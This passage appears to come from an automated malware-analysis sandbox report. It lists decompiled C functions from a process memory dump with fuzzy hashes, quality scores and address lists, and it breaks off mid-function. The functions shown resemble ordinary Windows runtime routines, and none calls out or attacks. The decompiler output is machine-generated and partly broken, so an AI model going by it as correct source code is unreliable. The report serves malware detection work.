0x012d3749
0x00000000
0x012d374f
0x012d374f
0x012d3751
0x012d3757
0x012d3759
0x012d375c
0x012d375c
0x012d375e
0x012d375e
0x012d3761
0x012d3764
0x00000000
0x00000000
0x012d3766
0x012d3768
0x012d37a3
0x012d37a3
0x012d37a5
0x012d37a7
0x012d37ad
0x012d37b0
0x012d37b2
0x012d37bc
0x012d37c2
0x012d37c2
0x012d37b2
0x01279187
0x01279187
0x0127918a
0x0127918d
0x0127918f
0x01279192
0x01279195
0x00000000
0x01279195
0x00000000
0x012d376a
0x012d376a
0x012d376a
0x012d376c
0x012d376c
0x012d376f
0x012d3775
0x00000000
0x00000000
0x012d3777
0x012d3779
0x012d3782
0x012d3787
0x012d3789
0x012d3790
0x012d3790
0x012d378b
0x012d378b
0x012d378b
0x012d3792
0x012d3795
0x00000000
0x012d3795
0x00000000
0x012d3779
0x012d3798
0x00000000
0x012d3798
0x00000000
0x012d3768
0x012d379b
0x012d379b
0x012d3751
0x012d3749
0x00000000
0x012d3740
0x012791a0
0x012791a3
0x012791a9
0x012791b0
0x00000000
0x012791b0
0x01279187
0x012791b4
0x012791b4
0x012791bb
0x012791c0
0x012791c5
0x012791c7
0x012d37da
0x012791cd
0x012791cd
0x012791cd
0x012791d2
0x012791d5
0x01279239
0x01279239
0x012791d7
0x012791db
0x012791e1
0x012791e7
0x012791fd
0x01279203
0x0127921e
0x01279223
0x00000000
0x01279205
0x01279205
0x01279208
0x0127920c
0x01279214
0x01279214
0x0127920c
0x012791e9
0x012791e9
0x012791ee
0x012791f3
0x012791f3
0x012791f3
0x012791e7
0x00000000
0x00000000
0x00000000
0x01279134
0x01279125
0x0127911d
0x0127914e
0x012790d1
0x012790d1
0x012790d3
0x012790d6
0x012790d8
0x00000000
0x012790d8
0x012790cf

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c032c54c733bd602d191d256afee81adfcb00a90c5f6e00ff6cdebc4dd7a8eb
Instruction ID: e924433c24617f808843042206880a386551282314da3958f3d7e05caebd03dc
Opcode Fuzzy Hash: 9c032c54c733bd602d191d256afee81adfcb00a90c5f6e00ff6cdebc4dd7a8eb
Instruction Fuzzy Hash: ED01D1725313018FC7269F08D840B227BA9EF45728F218066E2018B695C370DC81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0130C450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0130C450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E012B9910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E012B95B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E012B95D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E012B95D0();
				return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x0130c458
0x0130c45d
0x0130c466
0x0130c468
0x0130c469
0x0130c46a
0x0130c46b
0x0130c46e
0x0130c46f
0x0130c471
0x0130c476
0x0130c476
0x0130c47c
0x0130c47e
0x0130c480
0x0130c480
0x0130c483
0x0130c484
0x0130c486
0x0130c488
0x0130c48f
0x0130c491
0x0130c493
0x0130c493
0x0130c48f
0x0130c498
0x0130c49e
0x0130c4ad
0x0130c4ad
0x0130c4b2
0x0130c4b4
0x0130c4cd

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 299218b6d801a97af0e84455225af8e2b9d4e7b5e548f4ff2eafeb7071d7b6c1
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 7F0196B1190506BFEB16AF69CC90EB2FB6DFF55394F014525F214525A0C721ACA0CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01344015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E01344015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E01292280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E01292280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x13686ac);
					E0127F900(0x13686d4, _t28);
					E0128FFB0(0x13686ac, _t28, 0x13686ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E0128FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x0134401a
0x0134401e
0x01344023
0x01344028
0x01344029
0x0134402b
0x0134402f
0x01344043
0x01344046
0x01344051
0x01344057
0x0134405f
0x01344062
0x01344067
0x0134406f
0x0134407c
0x0134407c
0x0134408c
0x0134408c
0x01344097

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d97a66140e9f2a62f2130680ceb308e97b7f3cf251db61ee474409d44415a1
Instruction ID: 2bd5e7abac920264a0da89837f34086d13ebce6ea01fd1b7617cb007ad692659
Opcode Fuzzy Hash: 06d97a66140e9f2a62f2130680ceb308e97b7f3cf251db61ee474409d44415a1
Instruction Fuzzy Hash: 01018471611646BFD711AB6DCE80E67B7ACFF59664B000265F50893A51CB24EC11CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 0133138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0133138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x136d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E012BFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x0133138a
0x0133138a
0x01331399
0x013313a3
0x013313a8
0x013313aa
0x013313b5
0x013313bb
0x013313c3
0x013313c6
0x013313c9
0x013313d4
0x013313e6
0x013313d6
0x013313df
0x013313df
0x013313f1
0x013313f2
0x013313f4
0x013313f9
0x0133140e

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b183091ce226b441245777d553a9a36e4ffa89092b5d31e2d7ae5a9586a89b
Instruction ID: c5876173d02a2f96f947d52a7463b1b975fe12a54a45bb5da29051f7e3880105
Opcode Fuzzy Hash: 55b183091ce226b441245777d553a9a36e4ffa89092b5d31e2d7ae5a9586a89b
Instruction Fuzzy Hash: 5C019E71A10208AFCB14DFA9D881EAEBBB8EF44710F004066F900EB380DA709A00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 013314FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E013314FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x136d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E012BFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x013314fb
0x013314fb
0x0133150a
0x01331514
0x01331519
0x0133151b
0x01331526
0x0133152c
0x01331534
0x01331537
0x0133153a
0x01331545
0x01331557
0x01331547
0x01331550
0x01331550
0x01331562
0x01331563
0x01331565
0x0133156a
0x0133157f

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e5760aa291ba4696f5507f9827096e86ed2b044fa8e9789f4bf673fe4f21a5c
Instruction ID: 06c0fb411cff854c3a8e2780eada27264ca34c7b9c440a53ce9211ac9de57fce
Opcode Fuzzy Hash: 5e5760aa291ba4696f5507f9827096e86ed2b044fa8e9789f4bf673fe4f21a5c
Instruction Fuzzy Hash: 61019E71A10248AFDB14DFA9D841EAEBBB8EF45700F044066F905EB380DA70DA00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 012758EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E012758EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x136d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x1255c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E01275943() != 0 &&  *0x1365320 > 5) {
					E012F7B5E( &_v44, _t27);
					_t22 =  &_v28;
					E012F7B5E( &_v28, _t28);
					_t11 = E012F7B9C(0x1365320, 0x125bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E012BB640(_t11, _t17, _v8 ^ _t29, 0x125bf15, _t27, _t28);
			}

0x012758fb
0x012758fe
0x01275906
0x0127590a
0x0127593c
0x0127593c
0x0127590c
0x0127590c
0x01275911
0x00000000
0x01275913
0x01275913
0x01275913
0x01275911
0x0127591d
0x012d1035
0x012d103c
0x012d103f
0x012d1056
0x012d1056
0x0127593b

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf218c2347cf17560289c01520d64a133777bd8806066e28d5d582284e102df
Instruction ID: 490a35c0c2ea174334a07a850627513ff8a2ee98c6c0908f0927bb6e8bda9c89
Opcode Fuzzy Hash: abf218c2347cf17560289c01520d64a133777bd8806066e28d5d582284e102df
Instruction Fuzzy Hash: F0018F31A20109DBC714EA69D851ABFB7ACEB42660F544069AA0597248EE70DD058794

Uniqueness

Uniqueness Score: -1.00%

Function 0128B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0128B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E01297D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E012F7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x0128b037
0x0128b039
0x0128b03b
0x0128b040
0x012da60e
0x00000000
0x00000000
0x012da61d
0x0128b04b
0x0128b04e
0x012da627
0x012da634
0x00000000
0x00000000
0x012da641
0x012da653
0x012da643
0x012da64c
0x012da64c
0x012da65b
0x00000000
0x00000000
0x00000000
0x012da66c
0x0128b057
0x0128b057
0x0128b057
0x0128b046
0x0128b046
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: c75265cf1c408b3a6cb5b099332a7be41e4d85b79d77510dd48bb50897f537c9
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: B5018F32221982DFE722971CC988F767BD8EB85B54F0940A5FB19CBA91D768DC41C660

Uniqueness

Uniqueness Score: -1.00%

Function 01341074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01341074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E0134165E(__ebx, 0x1368ae4, (__edx -  *0x1368b04 >> 0x14) + (__edx -  *0x1368b04 >> 0x14), __edi, __ecx, (__edx -  *0x1368b04 >> 0x14) + (__edx -  *0x1368b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E0133AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E01297D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E0132FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x01341074
0x01341080
0x01341082
0x0134108a
0x0134108f
0x01341093
0x013410ab
0x013410ab
0x013410c3
0x013410cf
0x013410e1
0x013410d1
0x013410da
0x013410da
0x013410e9
0x013410f5
0x013410f5
0x013410fe

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19324ba1ddc8af2e877f0d692c96cacb04783bedcde407e1c8d4f2fa8646a65d
Instruction ID: 2bba4a20153c12aa9ca9f6abb720102e4695b742e432f7f376889a6af3453e64
Opcode Fuzzy Hash: 19324ba1ddc8af2e877f0d692c96cacb04783bedcde407e1c8d4f2fa8646a65d
Instruction Fuzzy Hash: 0F014C72604B429FC721EF6CC804B1A7BE9ABD4318F04C519F98583694DE30F484CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0132FE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0132FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x136d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E012BFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0132fe3f
0x0132fe3f
0x0132fe4e
0x0132fe58
0x0132fe5d
0x0132fe5f
0x0132fe6a
0x0132fe72
0x0132fe75
0x0132fe78
0x0132fe83
0x0132fe95
0x0132fe85
0x0132fe8e
0x0132fe8e
0x0132fea0
0x0132fea1
0x0132fea3
0x0132fea8
0x0132febd

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 265d1c8d786be79610e4f534989412ca0dac4040d920f61ca3996b06633d5ae2
Instruction ID: f02ab2c52406accfa7d8c101470fdb89491c6aa7f313e06ed6d2a4c068f3d490
Opcode Fuzzy Hash: 265d1c8d786be79610e4f534989412ca0dac4040d920f61ca3996b06633d5ae2
Instruction Fuzzy Hash: 83018471E10259AFDB14EFA9D845FBEBBBCEF44704F004066F904AB391DA709901C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0132FEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0132FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x136d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E012BFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0132fec0
0x0132fec0
0x0132fecf
0x0132fed9
0x0132fede
0x0132fee0
0x0132feeb
0x0132fef3
0x0132fef6
0x0132fef9
0x0132ff04
0x0132ff16
0x0132ff06
0x0132ff0f
0x0132ff0f
0x0132ff21
0x0132ff22
0x0132ff24
0x0132ff29
0x0132ff3e

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd14cf37346830f0f2a0bbc6cc4eec73f2a5555eb784bf864446c1af4cf344e3
Instruction ID: 41a7d8ea78aa10055ed5a1382b290595447e101f6d7a9a81deab3835da0b06fa
Opcode Fuzzy Hash: dd14cf37346830f0f2a0bbc6cc4eec73f2a5555eb784bf864446c1af4cf344e3
Instruction Fuzzy Hash: 73017171A10219AFDB14EBA9D845EBFBBBCEB45700F004066F900AB290DA709A01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01348A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E01348A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x136d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x01348a62
0x01348a71
0x01348a79
0x01348a82
0x01348a85
0x01348a89
0x01348a8c
0x01348a8f
0x01348a92
0x01348a95
0x01348a9f
0x01348ab1
0x01348aa1
0x01348aaa
0x01348aaa
0x01348abc
0x01348abd
0x01348abf
0x01348ac4
0x01348ada

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed9c51607c01ff90ec8411861ed5e46e525f7b9fc601fbf53dd995bbc548e45d
Instruction ID: c6909532ae1e93dc8ef6db5d35ed2c0688cc1e770617732603f513a88dfaf98a
Opcode Fuzzy Hash: ed9c51607c01ff90ec8411861ed5e46e525f7b9fc601fbf53dd995bbc548e45d
Instruction Fuzzy Hash: 56012CB1A1021DAFDB00DFA9D9819EEBBF8EF59350F14405AFA04F7351D674A900CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01348ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E01348ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x136d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E01297D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x01348ed6
0x01348ee5
0x01348eed
0x01348ef0
0x01348efa
0x01348f03
0x01348f0c
0x01348f15
0x01348f24
0x01348f27
0x01348f31
0x01348f43
0x01348f33
0x01348f3c
0x01348f3c
0x01348f4e
0x01348f4f
0x01348f51
0x01348f56
0x01348f69

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2f36b33118587ea0815429f358292889623640bdb1800f6b98640d447ff937d
Instruction ID: 752e32e64fc5112d8f6f2ddfd45d6600dc8ff37665c7cddc10e0beec7aa9be12
Opcode Fuzzy Hash: d2f36b33118587ea0815429f358292889623640bdb1800f6b98640d447ff937d
Instruction Fuzzy Hash: 93112170E142499FDB04DFA9D441BAEFBF4FF18700F1442AAE518EB781E6349940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0127DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0127DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E0127DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E0127E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L0127E8B0(__ecx, _t14, 0xfff);
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x0127db64
0x0127db66
0x0127db6b
0x0127dbaa
0x0127db71
0x0127db76
0x0127db7a
0x0127dba3
0x0127db7c
0x0127db87
0x0127db8b
0x012d4fa1
0x012d4fb3
0x012d4fb8
0x0127db91
0x0127db96
0x0127db98
0x0127db98
0x0127db8b
0x0127db7a
0x0127db9d
0x0127dba2

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 8853beb287b7c03c47aa8b0938ca7bfcedf9e2104b9e3d9fb8c9b1620168479e
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: C8F0F633261627DFD7326AD98880F7BBA958FD1A60F160035F3059B344DEB08C0286E4

Uniqueness

Uniqueness Score: -1.00%

Function 0127B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0127B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E01297D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E01297D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E012F7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x0127b1e8
0x0127b1ea
0x0127b1f3
0x012d4a17
0x0127b1f9
0x0127b1f9
0x0127b1f9
0x0127b201
0x012d4a21
0x012d4a2e
0x00000000
0x00000000
0x012d4a3b
0x012d4a4d
0x012d4a3d
0x012d4a46
0x012d4a46
0x012d4a55
0x00000000
0x00000000
0x00000000
0x0127b20a
0x0127b20a
0x0127b20a
0x0127b20a

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 405e577556eadb6688d4a4372fa1cd868c29457489d1ebc0dec81657ffceb15b
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: F001D1322316C19BE722A75DC804F6ABB99EF52750F0840A1FB148BAB6D6B8C800C625

Uniqueness

Uniqueness Score: -1.00%

Function 0130FE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0130FE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x136d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
